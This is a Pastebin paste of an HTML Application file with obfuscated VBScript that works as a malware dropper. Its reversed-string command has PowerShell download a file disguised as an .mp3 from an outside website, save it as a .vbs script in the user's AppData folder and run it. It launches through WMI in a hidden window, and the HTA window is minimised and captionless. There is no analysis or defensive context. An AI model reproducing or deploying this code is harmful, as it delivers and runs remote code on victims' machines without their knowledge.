Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SYSMENU="no" CAPTION="no" />
- <SCRIPT Language="VBScript">
- 'Begin Code
- gshjgjshsjhsusyuiweiwuwiuwiuiww = StrReverse(")'sbv.elif'+'\\'+ATADPPA:vne$(ssecorp-trats ;D|')''sbv.elif''+''\\''+ATADPPA:vne$,''3pm.55d12e85daf9a404937699e9ea75ebbf/nwod_pu/selifpu/moc.sdnuosakeermsa.www//:ptth''(e'+'liF'+'dao'+'ln'+'woD.'+')tne'+'ilC'+'beW'+'.teN' +')*O-W* '+'MCG(&(';r$ D las ;)'I','K'(ecalper.'XEK'=r$ llehsrewoP")
- exec(gshjgjshsjhsusyuiweiwuwiuwiuiww)
- Sub exec(Atc)
- strCommand = Atc
- Set objWMIService = GetObject(StrReverse("2vmic\toor\.\\!}etanosrepmi=leveLnoitanosrepmi{:stmgmniw"))
- Set objStartup = objWMIService.Get(StrReverse("putratSssecorP_23niW"))
- Set objConfig = objStartup.SpawnInstance_
- objConfig.ShowWindow = 0
- Set objProcess = objWMIService.Get(StrReverse("ssecorP_23niW"))
- intReturn = objProcess.Create(strCommand, Null, objConfig, intProcessID)
- End Sub
- self.close
- </SCRIPT>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement